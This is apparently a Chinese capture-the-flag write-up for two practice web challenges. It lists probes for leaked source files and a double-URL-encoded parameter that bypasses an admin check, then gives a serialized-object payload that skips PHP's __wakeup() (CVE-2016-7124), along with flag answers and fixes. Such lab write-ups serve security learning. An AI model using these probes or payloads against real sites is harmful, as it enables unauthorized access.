[攻防世界-[NO.GFSJ0234] [PHP2]
声明:本文首发于我的 GitHub 仓库 wsmnihao/my-ctf-notes,欢迎 Star 与交流!
漏洞信息
- 漏洞类型:源代码泄露
- 风险等级:中危->高危(源代码泄露会衍生其他漏洞)
- 利用难度:极易
- 关键函数:无 只有配置不当 [[PHP反序列化&串行化]]
解题过程
漏洞发现
1、信息挖掘
#首页只有一个提示语:
Can you anthenticate to this website?
#注释:**“你能通过这个网站的身份验证吗?”**
2、检查源代码
#没有任何代码构造语句
3、尝试访问首页和一些关键目录及敏感文件
手工收入较慢的话,或者按需使用,可以尝试用御剑目录扫描工具尝试
/index.phps
/login.phps
/admin.phps
/config.phps
/flag.phps
/backup.phps
/index.php.bak
/login.php.bak
/index.php~
/.index.php.swp
#带s和不带s的都尝试一下
4、漏洞发现
/index.phps
#是一个源代码泄露漏洞
#返回一些配置代码,示例如下:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
// 漏洞代码片段
代码分析
===和==的验证通过问题
#===是强验证,==是弱验证
1、第一层$_GET[id])是否完全等于admin,如果相等,就返回not allowed!
2、中间是将$_GET[id]的值进行URL解码
3、第二层$_GET[id]的验证比较松散,只要符合其中的一个就返回flag/key
绕过方式
1、尝试构建绕过代码
关键数据:admin
构建命令
http://example.com/?id=%61%64%6D%69%6E
#参考URL编解码和ASCII编码表比对,或者快一点就找ai帮忙编译
2、绕过无效,尝试双重绕过
#在原基础上,将%号URL编码为%25,这样既绕过了第一层限制,%后面跟65,实意为ASCII表中的a,对应admin的第一个字符,以此类推,构建一下绕过代码
3、代码
#尝试绕过
http://目标网址/?id=%2561%2564%256D%2569%256E
4、flag值
flag: cyberpeace{0a7a4bffec9d817fad109e6671f58df4}
完美!!!
#题解2 [攻防世界]-[NO.GFSJ0235] [unserialize3]
漏洞信息
- 漏洞类型:PHP反序列化漏洞
- 利用难度:简单
- 关键函数:_wakeup()
[[PHP反序列化&串行化]]
解题过程
漏洞发现
1、代码发现
lass xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
2、关键信息:
class xctf
#类名称为xctf
?code=
#漏洞点,可尝试注入,一个接收序列化数据的接口
__wakeup()
#魔术方法,调用反序列化时自动调用的方法,会自动终止程序,返回bad request
public $flag = '111'
#公开属性,flag的值为111
// 漏洞代码片段
漏洞场景
http://example.com/?code=序列化字符串
#可以看出是一个序列化字符串
后端代码可能是:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
if(isset($_GET['code'])){
$data = $_GET['code'];
$obj = unserialize($data); // 危险!反序列化用户输入
// 这里可能有其他代码,但永远执行不到
}
'''//结束
攻击流程
用户输入 → unserialize() → 触发 __wakeup() → exit() → 游戏结束
绕过方法
1、既然知道是反序列化问题,那就先构建一个人正常的序列化代码
正常序列化
$obj = new xctf();
echo serialize($obj);
#输出为
O:4:"xctf":1:{s:4:"flag";s:3:"111";
反序列化代码结构解析
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
│ │ │ │ │ │ │
│ │ │ │ │ │ └─ 值长度:3,值:"111"
│ │ │ │ │ └─ 值类型:string
│ │ │ │ └─ 属性名:"flag"
│ │ │ └─ 属性名类型:string
│ │ └─ 属性个数:1
│ └─ 类名:"xctf"
└─ 对象类型:Object
#结构,大致做题可以这么走。
漏洞利用 - CVE-2016-7124
1、正常序列化
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
#可以先将源代码反序列化一下,构置一个代码框架,并不会爆出数据
2、修改属性计数1->2
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
#构建完成
3、发送payload
http://目标网址/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
#结果返回falg值,目的达成。
4、flag值
xctf{1038e3fd96b844fe5ac733880dc1f0e0}
漏洞影响版本
- **受影响**:PHP 5.6.25 之前,PHP 7.0.10 之前
- **已修复**:新版本PHP修复了这个绕过
修复方案
// 方案1:升级PHP版本
// 方案2:不要依赖 __wakeup() 做安全检测
// 方案3:验证反序列化数据
public function __wakeup() {
// 不要用exit,改用其他验证
if (!is_valid($this)) {
throw new Exception('Invalid data');
}
}
完成!!!